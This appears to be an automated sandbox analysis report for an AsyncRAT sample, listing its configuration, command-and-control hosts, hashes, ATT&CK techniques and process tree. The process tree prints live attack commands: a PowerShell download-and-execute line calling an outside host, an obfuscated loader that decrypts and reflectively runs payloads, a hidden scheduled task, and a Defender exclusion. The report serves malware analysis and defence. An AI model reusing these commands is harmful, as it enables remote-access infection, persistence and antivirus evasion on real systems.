asyncrat | 1034cb1effff3e411b07d3d8a318b5b6d4164d3feea9151c857715abd8ee2f9e

Analysis

max time kernel
211s
max time network
302s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
09-12-2024 19:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1821_output.vbs
Size

61KB
MD5

6943e4c37b93c2a81a98a81e36d2d5ce
SHA1

ad2ba17165344f88b6bf0befaac528feb8a3280f
SHA256

57bf3620d73728f07bed5cd48af70ca89dc70721b62c084f5f0feebed7f81a4f
SHA512

78034880a195d5dc7729a6c7631a660f9945dd368a86b50b458e70e0191a7953ba47435c242c94ce8548832e4920e08949fcb1aa099d5d7b927da9bc9b69cf80
SSDEEP

768:ni1+nYY2MDjo2CLlIbkrMvrIzkoILj2AA3drdg8KCklQCdUq13ZZIwX+Ay6Iwcgh:iXvlIkgvrWC3ASCk0q13HX+C9czhG

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

jt8iyre.localto.net:55644

jt8iyre.localto.net:2101

Mutex

WzRdrlEJS302

Attributes

delay
3
install
false
install_file
dwmm.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral5/memory/5208-118-0x0000000006F10000-0x0000000006F22000-memory.dmp	family_asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	3636	powershell.exe
3	5208	powershell.exe
4	5208	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3636	powershell.exe
3464	powershell.exe
5208	powershell.exe
4780	powershell.exe
4912	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3620	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3636	powershell.exe
3636	powershell.exe
4780	powershell.exe
4780	powershell.exe
4912	powershell.exe
4912	powershell.exe
3464	powershell.exe
3464	powershell.exe
5208	powershell.exe
5208	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3636	powershell.exe
Token: SeDebugPrivilege	4780	powershell.exe
Token: SeDebugPrivilege	3620	taskkill.exe
Token: SeDebugPrivilege	4912	powershell.exe
Token: SeDebugPrivilege	3464	powershell.exe
Token: SeIncreaseQuotaPrivilege	3464	powershell.exe
Token: SeSecurityPrivilege	3464	powershell.exe
Token: SeTakeOwnershipPrivilege	3464	powershell.exe
Token: SeLoadDriverPrivilege	3464	powershell.exe
Token: SeSystemProfilePrivilege	3464	powershell.exe
Token: SeSystemtimePrivilege	3464	powershell.exe
Token: SeProfSingleProcessPrivilege	3464	powershell.exe
Token: SeIncBasePriorityPrivilege	3464	powershell.exe
Token: SeCreatePagefilePrivilege	3464	powershell.exe
Token: SeBackupPrivilege	3464	powershell.exe
Token: SeRestorePrivilege	3464	powershell.exe
Token: SeShutdownPrivilege	3464	powershell.exe
Token: SeDebugPrivilege	3464	powershell.exe
Token: SeSystemEnvironmentPrivilege	3464	powershell.exe
Token: SeRemoteShutdownPrivilege	3464	powershell.exe
Token: SeUndockPrivilege	3464	powershell.exe
Token: SeManageVolumePrivilege	3464	powershell.exe
Token: 33	3464	powershell.exe
Token: 34	3464	powershell.exe
Token: 35	3464	powershell.exe
Token: 36	3464	powershell.exe
Token: SeIncreaseQuotaPrivilege	3464	powershell.exe
Token: SeSecurityPrivilege	3464	powershell.exe
Token: SeTakeOwnershipPrivilege	3464	powershell.exe
Token: SeLoadDriverPrivilege	3464	powershell.exe
Token: SeSystemProfilePrivilege	3464	powershell.exe
Token: SeSystemtimePrivilege	3464	powershell.exe
Token: SeProfSingleProcessPrivilege	3464	powershell.exe
Token: SeIncBasePriorityPrivilege	3464	powershell.exe
Token: SeCreatePagefilePrivilege	3464	powershell.exe
Token: SeBackupPrivilege	3464	powershell.exe
Token: SeRestorePrivilege	3464	powershell.exe
Token: SeShutdownPrivilege	3464	powershell.exe
Token: SeDebugPrivilege	3464	powershell.exe
Token: SeSystemEnvironmentPrivilege	3464	powershell.exe
Token: SeRemoteShutdownPrivilege	3464	powershell.exe
Token: SeUndockPrivilege	3464	powershell.exe
Token: SeManageVolumePrivilege	3464	powershell.exe
Token: 33	3464	powershell.exe
Token: 34	3464	powershell.exe
Token: 35	3464	powershell.exe
Token: 36	3464	powershell.exe
Token: SeIncreaseQuotaPrivilege	3464	powershell.exe
Token: SeSecurityPrivilege	3464	powershell.exe
Token: SeTakeOwnershipPrivilege	3464	powershell.exe
Token: SeLoadDriverPrivilege	3464	powershell.exe
Token: SeSystemProfilePrivilege	3464	powershell.exe
Token: SeSystemtimePrivilege	3464	powershell.exe
Token: SeProfSingleProcessPrivilege	3464	powershell.exe
Token: SeIncBasePriorityPrivilege	3464	powershell.exe
Token: SeCreatePagefilePrivilege	3464	powershell.exe
Token: SeBackupPrivilege	3464	powershell.exe
Token: SeRestorePrivilege	3464	powershell.exe
Token: SeShutdownPrivilege	3464	powershell.exe
Token: SeDebugPrivilege	3464	powershell.exe
Token: SeSystemEnvironmentPrivilege	3464	powershell.exe
Token: SeRemoteShutdownPrivilege	3464	powershell.exe
Token: SeUndockPrivilege	3464	powershell.exe
Token: SeManageVolumePrivilege	3464	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 5788 wrote to memory of 840	5788	WScript.exe	78
PID 5788 wrote to memory of 840	5788	WScript.exe	78
PID 840 wrote to memory of 3636	840	cmd.exe	80
PID 840 wrote to memory of 3636	840	cmd.exe	80
PID 3636 wrote to memory of 1972	3636	powershell.exe	82
PID 3636 wrote to memory of 1972	3636	powershell.exe	82
PID 1972 wrote to memory of 3048	1972	csc.exe	83
PID 1972 wrote to memory of 3048	1972	csc.exe	83
PID 3636 wrote to memory of 1532	3636	powershell.exe	84
PID 3636 wrote to memory of 1532	3636	powershell.exe	84
PID 5788 wrote to memory of 1048	5788	WScript.exe	90
PID 5788 wrote to memory of 1048	5788	WScript.exe	90
PID 1048 wrote to memory of 4912	1048	cmd.exe	92
PID 1048 wrote to memory of 4912	1048	cmd.exe	92
PID 1048 wrote to memory of 4912	1048	cmd.exe	92
PID 4912 wrote to memory of 3464	4912	powershell.exe	93
PID 4912 wrote to memory of 3464	4912	powershell.exe	93
PID 4912 wrote to memory of 3464	4912	powershell.exe	93
PID 4912 wrote to memory of 4272	4912	powershell.exe	96
PID 4912 wrote to memory of 4272	4912	powershell.exe	96
PID 4912 wrote to memory of 4272	4912	powershell.exe	96
PID 4272 wrote to memory of 1212	4272	WScript.exe	97
PID 4272 wrote to memory of 1212	4272	WScript.exe	97
PID 4272 wrote to memory of 1212	4272	WScript.exe	97
PID 1212 wrote to memory of 5208	1212	cmd.exe	99
PID 1212 wrote to memory of 5208	1212	cmd.exe	99
PID 1212 wrote to memory of 5208	1212	cmd.exe	99

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1821_output.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:5788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3636
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\m0xpdo0h\m0xpdo0h.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1972
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA0F3.tmp" "c:\Users\Admin\AppData\Local\Temp\m0xpdo0h\CSCACA7668B727F4C609F28311FE3F87E22.TMP"
        5⤵
        
        PID:3048
  - - C:\windows\system32\cmstp.exe
      "C:\windows\system32\cmstp.exe" /au C:\windows\temp\fkbgg31n.inf
      4⤵
      PID:1532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1048
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4912
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_399_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\latencyx399.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3464
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\latencyx399.vbs"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4272
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\latencyx399.bat" "
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1212
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Roaming\latencyx399.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5208

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4780

C:\Windows\system32\taskkill.exe
taskkill /IM cmstp.exe /F
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3620

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
5dc9a9599fb11ee70f9164d8fea15abf

SHA1
85faf41a206f3fa8b469609333558cf817df2cda

SHA256
3f033142ed64a5d1e1e19d11a710e22a32827e98922769497ed6bd6e452e44de

SHA512
499407006c53a5f8e5b2b00dab734613762e66a9080504ab50d21e4c8a32b75d7308ccaa0cecfbeb7058044448a40912715da1f02ec72994596d567b515dcfca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
3173c675427aa7475aa549a3f56fb40a

SHA1
24990a0017323575a3768d6b3a993170754ca194

SHA256
9462c8b0882395bf3b6377ff93be287b4b6e7c5d35a9120db63230460216e5d7

SHA512
41769509d7b852c3d89fef234a615e418fa4b5e15c1c92170e9ace9e2dee839ab1393d8e02e4ba83169450cfef48b1b2a23e9eb6dd3ef6902a1587529b096cc7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
652B

MD5
af4ccfd03174c24f1e325c26dc613363

SHA1
9baa97ce7b1cc5d1551e159a7a6cc650d7c855df

SHA256
99859ab85bec26bfee9483b44f404d2f5760822b7d6923d24b5022de820f9fa3

SHA512
389b02d9609ceeff3af067a0d2dd5c0d54e3255007eba4ad867c3324283b270825f2de6d7158a6e4b957a187e0e65819029f79eed04850c0711d6b9e6ff390d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
44ee31afd74d20cda1ec10716615865e

SHA1
59752eb8dece4ca0871ea3089a48c9d035b18c02

SHA256
66f8f0673655c5099523d332e9873350852b3724d35048722ec77945c696e9be

SHA512
1750304d3666489533f67bd3ac4d167804a4ddd8e0cc0b22a4fe9119a5191eb5c9cff0c76f9c257ef135932123a28653f3ce98247669d718cb3527b5a76de62c

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESA0F3.tmp

Filesize
1KB

MD5
d853ac2ce7fc4f5811bf406a20d5fcda

SHA1
817392ffdc768a3c545e3c87f106538f8ec86d38

SHA256
03b53cc14d3d1def0030ca23aebafb32565c7de70cd92fa3f390881d2a863f95

SHA512
a1c0e15d6996c09db077f3d8f5968b7e3835b134d2713cb1b2cf8a91f34dfab3d90146b5b2daf473b5b716e3b36073f9196e03297578b35ce1369ec99b876822

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lca5xdxv.ylw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\c.bat

Filesize
53KB

MD5
5658af2134929280550a46a39d5d1254

SHA1
757ce11f87e3886b0320fca0bd6bf1f26968a25e

SHA256
942cc99875f60e2aef139a7d8e8341409d2dd4625573f32cbe292124838cdeed

SHA512
e7ac74d0f9182d563dcb5765c160bec3ea4ede13a0a2612bafc5c8451393f3646430c340df57f1ad02807d9b610f55da0db2c67d531de21e91c21ebfe3cea1c8

Download Submit
C:\Users\Admin\AppData\Local\Temp\m0xpdo0h\m0xpdo0h.dll

Filesize
4KB

MD5
0956bc47bc9346c98805731a13b31f67

SHA1
58c24bee5e8ab59598d258adbb359acd58a61643

SHA256
8b709ba8016604b3c34bdf4eb642e4b466b1aa3a4e9a4311b2944313abdd29c1

SHA512
0fd5024333b142d6a4ace16b539a981525f9762ab0c31afb7b4e6bfda81d59c32e54c140476130b3e93819c20c29a9d15136b28a2e4432e72870a0cb3df8cb2b

Download Submit
C:\Users\Admin\AppData\Roaming\latencyx399.vbs

Filesize
111B

MD5
ce2eff98e9d50a8fac3d3d1b327edd08

SHA1
9cb95d7a8a1db9ba89d02eecb1969978e7617a9c

SHA256
f1990491b5d594d938346dce02af7467f4a10bb0230532338fd2e521508c8074

SHA512
2b38824196f86a2d572fd054d28595cd63770991479e2895edaa7435b9e9a1a98d61591f001dcb42510f37788f2c84d1ebadaad4215e111a2498f45d97d59b8e

Download Submit
C:\windows\temp\fkbgg31n.inf

Filesize
683B

MD5
a4fd12b94ad4ac06fabd8dd56dd5ff2b

SHA1
940d129205e04ba31b10a72d7a7a236a9ed0488b

SHA256
fe9977d49d2ae366779da959a5c9a6cc7664bc82d7c8e243f1baa9aa539cd320

SHA512
a4712ad7a23ab7a1eadfdaa7dc73dc406a0a14313c0413561f2f4ba8087c79c504d1d4391585b1b91f580ffef3869a37523707979dd5ab870a596062497e79fe

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\m0xpdo0h\CSCACA7668B727F4C609F28311FE3F87E22.TMP

Filesize
652B

MD5
3a59d9dba6ed9f47c4de4e0256468d56

SHA1
383746848850de0c7fe7d4362f644b96adf3f466

SHA256
0d4e7d0c0533eb1056478c1ecd73e3f62a69c8b1670fde1b359887517430b3a9

SHA512
ebcc1ef3dc84edba4fc63ab418be599480090a19b4580fdec107008f9f6d7dcef4b43d47af834ce4d6b7fd006d496ce839045eb49d4ef5085321c92925bd9898

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\m0xpdo0h\m0xpdo0h.0.cs

Filesize
2KB

MD5
897ac4306f2a2524bc3c441bd00c72b9

SHA1
1703dbf9a2a78491dfd6685540d4691839e33b69

SHA256
a889dd1616631e369d253d6d89cc3a253b663e636bb1cdebbf831817592b405b

SHA512
2eba96a7960fe4c8c083ffbca30dbff4c5aac6acfa2c99b6ab5802376d028cbf471c3f06fcef9a3a0129dc988df1aceba808c3436cd110c123dc2ba1147c81b6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\m0xpdo0h\m0xpdo0h.cmdline

Filesize
369B

MD5
8f02ee2db83021f2c88fcd119328cc61

SHA1
fe0f4b6207c2af134bb65fdf2fd3cceafe45cf0f

SHA256
2d80e27597bacdf63ff558411750c9f3bf092859747221043dddbf3567904608

SHA512
de83319bd9d57613d1a59d9eba840a9d73c3a3b3154b1acbef450782ac86b34a5743cac171ff01236ed7d2a3d396414be7c68173fc11464c3d009a0ed68aa02b

Download Submit
memory/3464-98-0x0000000007D60000-0x0000000007D71000-memory.dmp

Filesize
68KB

Download
memory/3464-85-0x0000000071480000-0x00000000714CC000-memory.dmp

Filesize
304KB

Download
memory/3464-94-0x0000000007970000-0x000000000798E000-memory.dmp

Filesize
120KB

Download
memory/3464-84-0x0000000007990000-0x00000000079C4000-memory.dmp

Filesize
208KB

Download
memory/3464-95-0x00000000079E0000-0x0000000007A84000-memory.dmp

Filesize
656KB

Download
memory/3464-96-0x0000000007BC0000-0x0000000007BCA000-memory.dmp

Filesize
40KB

Download
memory/3464-97-0x0000000007DD0000-0x0000000007E66000-memory.dmp

Filesize
600KB

Download
memory/3636-0-0x00007FFFB4833000-0x00007FFFB4835000-memory.dmp

Filesize
8KB

Download
memory/3636-42-0x00007FFFB4833000-0x00007FFFB4835000-memory.dmp

Filesize
8KB

Download
memory/3636-10-0x00007FFFB4830000-0x00007FFFB52F2000-memory.dmp

Filesize
10.8MB

Download
memory/3636-11-0x00007FFFB4830000-0x00007FFFB52F2000-memory.dmp

Filesize
10.8MB

Download
memory/3636-12-0x00007FFFB4830000-0x00007FFFB52F2000-memory.dmp

Filesize
10.8MB

Download
memory/3636-9-0x0000012AC6360000-0x0000012AC6382000-memory.dmp

Filesize
136KB

Download
memory/3636-13-0x0000012AC6860000-0x0000012AC687C000-memory.dmp

Filesize
112KB

Download
memory/3636-47-0x00007FFFB4830000-0x00007FFFB52F2000-memory.dmp

Filesize
10.8MB

Download
memory/3636-26-0x0000012AC6890000-0x0000012AC6898000-memory.dmp

Filesize
32KB

Download
memory/3636-43-0x00007FFFB4830000-0x00007FFFB52F2000-memory.dmp

Filesize
10.8MB

Download
memory/4912-54-0x0000000004EC0000-0x0000000004EE2000-memory.dmp

Filesize
136KB

Download
memory/4912-72-0x0000000007040000-0x00000000070DC000-memory.dmp

Filesize
624KB

Download
memory/4912-73-0x0000000007170000-0x000000000717E000-memory.dmp

Filesize
56KB

Download
memory/4912-74-0x0000000008220000-0x00000000087C6000-memory.dmp

Filesize
5.6MB

Download
memory/4912-71-0x00000000062C0000-0x00000000062C8000-memory.dmp

Filesize
32KB

Download
memory/4912-70-0x0000000006250000-0x000000000626A000-memory.dmp

Filesize
104KB

Download
memory/4912-69-0x00000000075F0000-0x0000000007C6A000-memory.dmp

Filesize
6.5MB

Download
memory/4912-68-0x0000000005D20000-0x0000000005D6C000-memory.dmp

Filesize
304KB

Download
memory/4912-67-0x0000000005C90000-0x0000000005CAE000-memory.dmp

Filesize
120KB

Download
memory/4912-65-0x0000000005760000-0x0000000005AB7000-memory.dmp

Filesize
3.3MB

Download
memory/4912-56-0x0000000005630000-0x0000000005696000-memory.dmp

Filesize
408KB

Download
memory/4912-55-0x00000000055C0000-0x0000000005626000-memory.dmp

Filesize
408KB

Download
memory/4912-53-0x0000000004F90000-0x00000000055BA000-memory.dmp

Filesize
6.2MB

Download
memory/4912-52-0x0000000002580000-0x00000000025B6000-memory.dmp

Filesize
216KB

Download
memory/5208-118-0x0000000006F10000-0x0000000006F22000-memory.dmp

Filesize
72KB

Download